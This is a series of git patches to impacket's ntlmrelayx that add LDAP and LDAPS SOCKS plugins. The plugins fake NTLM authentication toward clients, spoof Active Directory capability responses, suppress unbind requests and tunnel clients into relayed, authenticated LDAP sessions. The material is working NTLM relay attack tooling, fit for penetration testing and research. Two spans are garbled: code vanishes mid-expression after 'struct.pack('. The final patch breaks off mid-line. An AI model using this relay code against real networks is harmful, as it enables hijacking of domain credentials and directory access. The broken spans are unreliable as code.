From 6b688a8524c9dfbb2a0cb859b3cea1e3cdd9c135 Mon Sep 17 00:00:00 2001 From: b1two <43686727+b1two@users.noreply.github.com> Date: Sun, 6 Oct 2024 15:46:37 +0200 Subject: [PATCH 1/7] Add support for LDAP and LDAPS in ntlmrelayx SOCKS Should fix #514 --- .../ntlmrelayx/clients/ldaprelayclient.py | 7 + .../ntlmrelayx/servers/socksplugins/ldap.py | 286 ++++++++++++++++++ .../ntlmrelayx/servers/socksplugins/ldaps.py | 72 +++++ 3 files changed, 365 insertions(+) create mode 100644 impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py create mode 100644 impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 9f69a71be..db24d09a4 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -156,6 +156,13 @@ def create_authenticate_message(self): def parse_challenge_message(self, message): pass + def keepAlive(self): + # Basic LDAP query to keep the connection alive + self.session.search(search_base='', + search_filter='(objectClass=*)', + search_scope='BASE', + attributes=['namingContexts']) + class LDAPSRelayClient(LDAPRelayClient): PLUGIN_NAME = "LDAPS" MODIFY_ADD = MODIFY_ADD diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py new file mode 100644 index 000000000..aaaba3ee6 --- /dev/null +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py @@ -0,0 +1,286 @@ +import calendar +import select +import socket +import struct +import time +import binascii +import threading +from pyasn1.codec.ber import encoder, decoder +from pyasn1.error import SubstrateUnderrunError +from pyasn1.type import univ + +from impacket import LOG, ntlm +from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay +from impacket.ldap.ldap import LDAPSessionError +from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, LDAPMessage, LDAPString, ResultCode + +PLUGIN_CLASS = 'LDAPSocksRelay' + +class LDAPSocksRelay(SocksRelay): + PLUGIN_NAME = 'LDAP Socks Plugin' + PLUGIN_SCHEME = 'LDAP' + + MSG_SIZE = 4096 + + def __init__(self, targetHost, targetPort, socksSocket, activeRelays): + SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) + + @staticmethod + def getProtocolPort(): + return 389 + + def initConnection(self): + # No particular action required to initiate the connection + pass + + def skipAuthentication(self): + # Faking an NTLM authentication with the client + while True: + messages = self.recv() + LOG.debug(f'Received {len(messages)} message(s)') + + for message in messages: + msg_component = message['protocolOp'].getComponent() + if msg_component.isSameTypeWith(BindRequest): + # BindRequest received + + if msg_component['name'] == LDAPDN('') and msg_component['authentication'] == univ.OctetString(''): + # First bind message without authentication + # Replying with a request for NTLM authentication + + LOG.debug('Got empty bind request') + + bindresponse = BindResponse() + bindresponse['resultCode'] = ResultCode('success') + bindresponse['matchedDN'] = LDAPDN('NTLM') + bindresponse['diagnosticMessage'] = LDAPString('') + self.send(bindresponse, message['messageID']) + + # Let's receive next messages + continue + + elif msg_component['name'] == LDAPDN('NTLM'): + # Requested NTLM authentication + + LOG.debug('Got NTLM bind request') + + # Building the NTLM negotiate message + # It is taken from the smbserver example + negotiateMessage = ntlm.NTLMAuthNegotiate() + negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets()) + + # Let's build the answer flags + ansFlags = 0 + + if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56: + ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56 + if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128: + ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128 + if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH + if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: + ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: + ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE + if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM: + ansFlags |= ntlm.NTLM_NEGOTIATE_OEM + + ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET + + # Generating the AV_PAIRS + # Using dummy data with the client + av_pairs = ntlm.AV_PAIRS() + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[ + ntlm.NTLMSSP_AV_DNS_HOSTNAME] = 'DUMMY'.encode('utf-16le') + av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[ + ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = 'DUMMY'.encode('utf-16le') + av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack(' 0: + try: + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) + except SubstrateUnderrunError: + # We need more data + remaining = data + self.socksSocket.recv(self.MSG_SIZE) + else: + if message['messageID'] == 0: # unsolicited notification + name = message['protocolOp']['extendedResp']['responseName'] or message['responseName'] + notification = KNOWN_NOTIFICATIONS.get(name, "Unsolicited Notification '%s'" % name) + if name == NOTIFICATION_DISCONNECT: # Server has disconnected + self.close() + raise LDAPSessionError( + error=int(message['protocolOp']['extendedResp']['resultCode']), + errorString='%s -> %s: %s' % (notification, + message['protocolOp']['extendedResp']['resultCode'].prettyPrint(), + message['protocolOp']['extendedResp']['diagnosticMessage']) + ) + response.append(message) + data = remaining + + return response + + def send(self, response, message_id, controls=None): + '''Send LDAP messages during the SOCKS client LDAP authentication.''' + + message = LDAPMessage() + message['messageID'] = message_id + message['protocolOp'].setComponentByType(response.getTagSet(), response) + if controls is not None: + message['controls'].setComponents(*controls) + + data = encoder.encode(message) + + return self.socksSocket.sendall(data) + + def tunnelConnection(self): + '''Charged of tunneling the rest of the connection.''' + + self.stop_event = threading.Event() + self.server_is_gone = False + + # Client to Server + c2s = threading.Thread(target=self.recv_from_send_to, args=(self.socksSocket, self.session, False)) + c2s.daemon = True + # Server to Client + s2c = threading.Thread(target=self.recv_from_send_to, args=(self.session, self.socksSocket, True)) + s2c.daemon = True + + c2s.start() + s2c.start() + + # Should wait until the client or server closes connection + c2s.join() + s2c.join() + + if self.server_is_gone: + # There was an error with the server socket + # Raising an exception so that the socksserver.py module can remove the current relay + # from the available ones + raise BrokenPipeError('Broken pipe: LDAP server is gone') + + # Free the relay so that it can be reused + self.activeRelays[self.username]['inUse'] = False + + LOG.debug('Finished tunnelling') + + return True + + def recv_from_send_to(self, recv_from: socket.socket, send_to: socket.socket, recv_from_is_server: bool): + ''' + Simple helper that receives data on the recv_from socket and sends it to send_to socket. + + The recv_from_is_server allows to properly stop the relay when the server closes connection. + ''' + + while not self.stop_event.is_set(): + is_ready, a, b = select.select([recv_from], [], [], 1.0) + + if not is_ready: + continue + + try: + data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) + except Exception: + if recv_from_is_server: + self.server_is_gone = True + + self.stop_event.set() + return + + LOG.debug(f'Received {len(data)} byte(s) from {"server" if recv_from_is_server else "client"}') + + if data == b'': + if recv_from_is_server: + self.server_is_gone = True + + self.stop_event.set() + return + + try: + send_to.send(data) + except Exception: + if not recv_from_is_server: + self.server_is_gone = True + + self.stop_event.set() + return + diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py new file mode 100644 index 000000000..545281d8b --- /dev/null +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py @@ -0,0 +1,72 @@ +import select +from impacket import LOG +from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay +from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin +from OpenSSL import SSL + +PLUGIN_CLASS = "LDAPSSocksRelay" + +class LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay): + PLUGIN_NAME = 'LDAPS Socks Plugin' + PLUGIN_SCHEME = 'LDAPS' + + def __init__(self, targetHost, targetPort, socksSocket, activeRelays): + LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) + + @staticmethod + def getProtocolPort(): + return 636 + + def skipAuthentication(self): + LOG.debug('Wrapping client connection in TLS/SSL') + self.wrapClientConnection() + + # Skip authentication using the same technique as LDAP + if not LDAPSocksRelay.skipAuthentication(self): + # Shut down TLS connection + self.socksSocket.shutdown() + return False + + return True + + def recv_from_send_to(self, recv_from, send_to, recv_from_is_server: bool): + ''' + Simple helper that receives data on the recv_from socket and sends it to send_to socket. + + - The recv_from_is_server allows to properly stop the relay when the server closes connection. + - This method is called by the tunnelConnection method implemented for LDAPSocksRelay, it is + redefined here to support TLS. + ''' + + while not self.stop_event.is_set(): + if recv_from.pending() == 0 and not select.select([recv_from], [], [], 1.0)[0]: + # No data ready to be read from recv_from + continue + + try: + data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) + except Exception: + if recv_from_is_server: + self.server_is_gone = True + + self.stop_event.set() + return + + LOG.debug(f'Received {len(data)} bytes from {"server" if recv_from_is_server else "client"}') + + if data == b'': + if recv_from_is_server: + self.server_is_gone = True + + self.stop_event.set() + return + + try: + send_to.send(data) + except Exception: + if not recv_from_is_server: + self.server_is_gone = True + + self.stop_event.set() + return + From 6c5f97d5b3f5035126ed0a258a9cf68a8b0e85e6 Mon Sep 17 00:00:00 2001 From: b1two <43686727+b1two@users.noreply.github.com> Date: Sat, 26 Oct 2024 16:04:26 +0200 Subject: [PATCH 2/7] Use real NTLM Challenge message during LDAP socks relay --- .../ntlmrelayx/clients/ldaprelayclient.py | 1 + .../ntlmrelayx/servers/socksplugins/ldap.py | 50 +++---------------- 2 files changed, 8 insertions(+), 43 deletions(-) diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index db24d09a4..63536bae2 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -99,6 +99,7 @@ def sendNegotiate(self, negotiateMessage): if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) + self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge else: raise LDAPRelayClientException('Server did not offer NTLM authentication!') diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py index aaaba3ee6..36aaa2ccb 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py @@ -13,6 +13,7 @@ from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay from impacket.ldap.ldap import LDAPSessionError from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, LDAPMessage, LDAPString, ResultCode +from impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL PLUGIN_CLASS = 'LDAPSocksRelay' @@ -64,52 +65,15 @@ def skipAuthentication(self): LOG.debug('Got NTLM bind request') - # Building the NTLM negotiate message - # It is taken from the smbserver example + # Load negotiate message negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets()) - # Let's build the answer flags - ansFlags = 0 - - if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56: - ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56 - if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128: - ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128 - if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: - ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH - if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: - ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY - if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: - ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE - if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM: - ansFlags |= ntlm.NTLM_NEGOTIATE_OEM - - ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET - - # Generating the AV_PAIRS - # Using dummy data with the client - av_pairs = ntlm.AV_PAIRS() - av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[ - ntlm.NTLMSSP_AV_DNS_HOSTNAME] = 'DUMMY'.encode('utf-16le') - av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[ - ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = 'DUMMY'.encode('utf-16le') - av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack(' Date: Wed, 30 Oct 2024 19:50:59 +0100 Subject: [PATCH 3/7] Reply to generic LDAP messages that comes before authentication and drop unbind LDAP messages --- .../ntlmrelayx/servers/socksplugins/ldap.py | 62 ++++++++++++++++++- .../ntlmrelayx/servers/socksplugins/ldaps.py | 12 +++- 2 files changed, 69 insertions(+), 5 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py index 36aaa2ccb..1f9a91b70 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py @@ -12,7 +12,7 @@ from impacket import LOG, ntlm from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay from impacket.ldap.ldap import LDAPSessionError -from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, LDAPMessage, LDAPString, ResultCode +from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest from impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL PLUGIN_CLASS = 'LDAPSocksRelay' @@ -126,6 +126,53 @@ def skipAuthentication(self): self.send(bindresponse, message['messageID']) return True + else: + msg_component = message['protocolOp'].getComponent() + if msg_component.isSameTypeWith(SearchRequest): + # Search request + if msg_component['attributes'][0] == LDAPString('supportedCapabilities'): + response = SearchResultEntry() + response['objectName'] = LDAPDN('') + response['attributes'] = PartialAttributeList() + + attribs = PartialAttribute() + attribs.setComponentByName('type', 'supportedCapabilities') + attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue())) + # LDAP_CAP_ACTIVE_DIRECTORY_OID + attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('1.2.840.113556.1.4.800')) + # LDAP_CAP_ACTIVE_DIRECTORY_V51_OID + attribs.getComponentByName('vals').setComponentByPosition(1, AttributeValue('1.2.840.113556.1.4.1670')) + # LDAP_CAP_ACTIVE_DIRECTORY_LDAP_INTEG_OID + attribs.getComponentByName('vals').setComponentByPosition(2, AttributeValue('1.2.840.113556.1.4.1791')) + # ISO assigned OIDs + attribs.getComponentByName('vals').setComponentByPosition(3, AttributeValue('1.2.840.113556.1.4.1935')) + attribs.getComponentByName('vals').setComponentByPosition(4, AttributeValue('1.2.840.113556.1.4.2080')) + attribs.getComponentByName('vals').setComponentByPosition(5, AttributeValue('1.2.840.113556.1.4.2237')) + + response['attributes'].append(attribs) + elif msg_component['attributes'][0] == LDAPString('supportedSASLMechanisms'): + response = SearchResultEntry() + response['objectName'] = LDAPDN('') + response['attributes'] = PartialAttributeList() + + attribs = PartialAttribute() + attribs.setComponentByName('type', 'supportedSASLMechanisms') + attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue())) + # Force NTLMSSP to avoid parsing every type of authentication + attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('NTLM')) + + response['attributes'].append(attribs) + else: + raise RuntimeError(f'Received unexpected message: {msg_component["attributes"][0]}') + + # Sending message + self.send(response, message['messageID']) + # Sending searchResDone + result_done = SearchResultDone() + result_done['resultCode'] = ResultCode('success') + result_done['matchedDN'] = LDAPDN('') + result_done['diagnosticMessage'] = LDAPString('') + self.send(result_done, message['messageID']) def recv(self): '''Receive LDAP messages during the SOCKS client LDAP authentication.''' @@ -216,13 +263,23 @@ def recv_from_send_to(self, recv_from: socket.socket, send_to: socket.socket, re ''' while not self.stop_event.is_set(): - is_ready, a, b = select.select([recv_from], [], [], 1.0) + is_ready, a, b = select.select([recv_from], [], [], 0.01) if not is_ready: continue try: data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) + try: + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) + msg_component = message['protocolOp'].getComponent() + if msg_component.isSameTypeWith(UnbindRequest): + # Do not forward unbind requests, otherwise we would loose the SOCKS + continue + except Exception as e: + # Is probably not an unbind LDAP message + pass + except Exception: if recv_from_is_server: self.server_is_gone = True @@ -247,4 +304,3 @@ def recv_from_send_to(self, recv_from: socket.socket, send_to: socket.socket, re self.stop_event.set() return - diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py index 545281d8b..346d11f90 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py @@ -39,12 +39,21 @@ def recv_from_send_to(self, recv_from, send_to, recv_from_is_server: bool): ''' while not self.stop_event.is_set(): - if recv_from.pending() == 0 and not select.select([recv_from], [], [], 1.0)[0]: + if recv_from.pending() == 0 and not select.select([recv_from], [], [], 0.01)[0]: # No data ready to be read from recv_from continue try: data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) + try: + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) + msg_component = message['protocolOp'].getComponent() + if msg_component.isSameTypeWith(UnbindRequest): + # Do not forward unbind requests, otherwise we would loose the SOCKS + continue + except Exception as e: + # Is probably not an unbind LDAP message + pass except Exception: if recv_from_is_server: self.server_is_gone = True @@ -69,4 +78,3 @@ def recv_from_send_to(self, recv_from, send_to, recv_from_is_server: bool): self.stop_event.set() return - From d2862006fc96d949a4f295d83cd3f4b8526f4702 Mon Sep 17 00:00:00 2001 From: b1two <43686727+b1two@users.noreply.github.com> Date: Wed, 30 Oct 2024 20:15:38 +0100 Subject: [PATCH 4/7] Fix missing imports --- impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py index 346d11f90..efed34b5c 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py @@ -3,6 +3,8 @@ from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin from OpenSSL import SSL +from pyasn1.codec.ber import decoder +from impacket.ldap.ldapasn1 import LDAPMessage, UnbindRequest PLUGIN_CLASS = "LDAPSSocksRelay" From 28599622436916436bc27d2828d6573eb35d327e Mon Sep 17 00:00:00 2001 From: b1two <43686727+b1two@users.noreply.github.com> Date: Tue, 26 Nov 2024 18:40:53 +0100 Subject: [PATCH 5/7] LDAP socks code cleaning --- .../ntlmrelayx/servers/socksplugins/ldap.py | 160 +++++++++--------- .../ntlmrelayx/servers/socksplugins/ldaps.py | 67 ++------ 2 files changed, 96 insertions(+), 131 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py index 1f9a91b70..8cdc1f277 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py @@ -1,10 +1,4 @@ -import calendar import select -import socket -import struct -import time -import binascii -import threading from pyasn1.codec.ber import encoder, decoder from pyasn1.error import SubstrateUnderrunError from pyasn1.type import univ @@ -12,7 +6,7 @@ from impacket import LOG, ntlm from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay from impacket.ldap.ldap import LDAPSessionError -from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest +from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest, ExtendedRequest from impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL PLUGIN_CLASS = 'LDAPSocksRelay' @@ -37,7 +31,7 @@ def initConnection(self): def skipAuthentication(self): # Faking an NTLM authentication with the client while True: - messages = self.recv() + messages = self.recv_ldap_msg() LOG.debug(f'Received {len(messages)} message(s)') for message in messages: @@ -55,7 +49,7 @@ def skipAuthentication(self): bindresponse['resultCode'] = ResultCode('success') bindresponse['matchedDN'] = LDAPDN('NTLM') bindresponse['diagnosticMessage'] = LDAPString('') - self.send(bindresponse, message['messageID']) + self.send_ldap_msg(bindresponse, message['messageID']) # Let's receive next messages continue @@ -82,7 +76,7 @@ def skipAuthentication(self): bindresponse['diagnosticMessage'] = LDAPString('') # Sending the response - self.send(bindresponse, message['messageID']) + self.send_ldap_msg(bindresponse, message['messageID']) else: # Received an NTLM auth bind request @@ -123,7 +117,7 @@ def skipAuthentication(self): bindresponse['diagnosticMessage'] = LDAPString('') # Sending successful response - self.send(bindresponse, message['messageID']) + self.send_ldap_msg(bindresponse, message['messageID']) return True else: @@ -163,18 +157,19 @@ def skipAuthentication(self): response['attributes'].append(attribs) else: - raise RuntimeError(f'Received unexpected message: {msg_component["attributes"][0]}') + # Any other message triggers the closing of client connection + return False # Sending message - self.send(response, message['messageID']) + self.send_ldap_msg(response, message['messageID']) # Sending searchResDone result_done = SearchResultDone() result_done['resultCode'] = ResultCode('success') result_done['matchedDN'] = LDAPDN('') result_done['diagnosticMessage'] = LDAPString('') - self.send(result_done, message['messageID']) + self.send_ldap_msg(result_done, message['messageID']) - def recv(self): + def recv_ldap_msg(self): '''Receive LDAP messages during the SOCKS client LDAP authentication.''' data = b'' @@ -209,7 +204,7 @@ def recv(self): return response - def send(self, response, message_id, controls=None): + def send_ldap_msg(self, response, message_id, controls=None): '''Send LDAP messages during the SOCKS client LDAP authentication.''' message = LDAPMessage() @@ -222,31 +217,55 @@ def send(self, response, message_id, controls=None): return self.socksSocket.sendall(data) - def tunnelConnection(self): - '''Charged of tunneling the rest of the connection.''' + def wait_for_data(self, socket1, socket2): + return select.select([socket1, socket2], [], [])[0] + + def passthrough_sockets(self, client_sock, server_sock): + while True: + rready = self.wait_for_data(client_sock, server_sock) + + for sock in rready: - self.stop_event = threading.Event() - self.server_is_gone = False + if sock == client_sock: + # Data received from client + try: + read = client_sock.recv(self.MSG_SIZE) + except Exception: + read = '' + if not read: + return - # Client to Server - c2s = threading.Thread(target=self.recv_from_send_to, args=(self.socksSocket, self.session, False)) - c2s.daemon = True - # Server to Client - s2c = threading.Thread(target=self.recv_from_send_to, args=(self.session, self.socksSocket, True)) - s2c.daemon = True + if not self.is_allowed_request(read): + # Stop client connection when unallowed requests are made + return - c2s.start() - s2c.start() + if not self.is_forwardable_request(read): + # Do not forward unbind requests, otherwise we would loose the SOCKS + continue + + try: + server_sock.send(read) + except Exception: + raise BrokenPipeError('Broken pipe: LDAP server is gone') + + elif sock == server_sock: + # Data received from server + try: + read = server_sock.recv(self.MSG_SIZE) + except Exception: + read = '' + if not read: + raise BrokenPipeError('Broken pipe: LDAP server is gone') + + try: + client_sock.send(read) + except Exception: + return - # Should wait until the client or server closes connection - c2s.join() - s2c.join() + def tunnelConnection(self): + '''Charged of tunneling the rest of the connection.''' - if self.server_is_gone: - # There was an error with the server socket - # Raising an exception so that the socksserver.py module can remove the current relay - # from the available ones - raise BrokenPipeError('Broken pipe: LDAP server is gone') + self.passthrough_sockets(self.socksSocket, self.session) # Free the relay so that it can be reused self.activeRelays[self.username]['inUse'] = False @@ -255,52 +274,33 @@ def tunnelConnection(self): return True - def recv_from_send_to(self, recv_from: socket.socket, send_to: socket.socket, recv_from_is_server: bool): - ''' - Simple helper that receives data on the recv_from socket and sends it to send_to socket. - - The recv_from_is_server allows to properly stop the relay when the server closes connection. - ''' + def is_forwardable_request(self, data): + try: + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) + msg_component = message['protocolOp'].getComponent() - while not self.stop_event.is_set(): - is_ready, a, b = select.select([recv_from], [], [], 0.01) + # Search for unbind requests + if msg_component.isSameTypeWith(UnbindRequest): + LOG.warning('Client tried to unbind LDAP connection, skipping message') + return False + except Exception: + # Is probably not an unbind LDAP message + pass - if not is_ready: - continue - - try: - data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) - try: - message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) - msg_component = message['protocolOp'].getComponent() - if msg_component.isSameTypeWith(UnbindRequest): - # Do not forward unbind requests, otherwise we would loose the SOCKS - continue - except Exception as e: - # Is probably not an unbind LDAP message - pass - - except Exception: - if recv_from_is_server: - self.server_is_gone = True - - self.stop_event.set() - return + return True - LOG.debug(f'Received {len(data)} byte(s) from {"server" if recv_from_is_server else "client"}') + def is_allowed_request(self, data): + try: + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) + msg_component = message['protocolOp'].getComponent() - if data == b'': - if recv_from_is_server: - self.server_is_gone = True + # Search for START_TLS LDAP extendedReq OID + if msg_component.isSameTypeWith(ExtendedRequest) and msg_component['requestName'].asOctets() == b'1.3.6.1.4.1.1466.20037': + # 1.3.6.1.4.1.1466.20037 is LDAP_START_TLS_OID + LOG.warning('Client tried to initiate Start TLS, closing connection') + return False + except Exception: + # Is probably not a ExtendedReq message + pass - self.stop_event.set() - return - - try: - send_to.send(data) - except Exception: - if not recv_from_is_server: - self.server_is_gone = True - - self.stop_event.set() - return + return True diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py index efed34b5c..001b65adb 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py @@ -3,8 +3,6 @@ from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin from OpenSSL import SSL -from pyasn1.codec.ber import decoder -from impacket.ldap.ldapasn1 import LDAPMessage, UnbindRequest PLUGIN_CLASS = "LDAPSSocksRelay" @@ -24,59 +22,26 @@ def skipAuthentication(self): self.wrapClientConnection() # Skip authentication using the same technique as LDAP - if not LDAPSocksRelay.skipAuthentication(self): - # Shut down TLS connection - self.socksSocket.shutdown() + try: + if not LDAPSocksRelay.skipAuthentication(self): + # Shut down TLS connection + self.socksSocket.shutdown() + return False + except SSL.SysCallError: + LOG.warning('Cannot wrap client socket in TLS/SSL') return False return True - - def recv_from_send_to(self, recv_from, send_to, recv_from_is_server: bool): - ''' - Simple helper that receives data on the recv_from socket and sends it to send_to socket. - - The recv_from_is_server allows to properly stop the relay when the server closes connection. - - This method is called by the tunnelConnection method implemented for LDAPSocksRelay, it is - redefined here to support TLS. - ''' + def wait_for_data(self, socket1, socket2): + rready = [] - while not self.stop_event.is_set(): - if recv_from.pending() == 0 and not select.select([recv_from], [], [], 0.01)[0]: - # No data ready to be read from recv_from - continue + if socket1.pending(): + rready.append(socket1) + if socket2.pending(): + rready.append(socket2) - try: - data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) - try: - message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) - msg_component = message['protocolOp'].getComponent() - if msg_component.isSameTypeWith(UnbindRequest): - # Do not forward unbind requests, otherwise we would loose the SOCKS - continue - except Exception as e: - # Is probably not an unbind LDAP message - pass - except Exception: - if recv_from_is_server: - self.server_is_gone = True + if not rready: + rready, _, exc = select.select([socket1, socket2], [], []) - self.stop_event.set() - return - - LOG.debug(f'Received {len(data)} bytes from {"server" if recv_from_is_server else "client"}') - - if data == b'': - if recv_from_is_server: - self.server_is_gone = True - - self.stop_event.set() - return - - try: - send_to.send(data) - except Exception: - if not 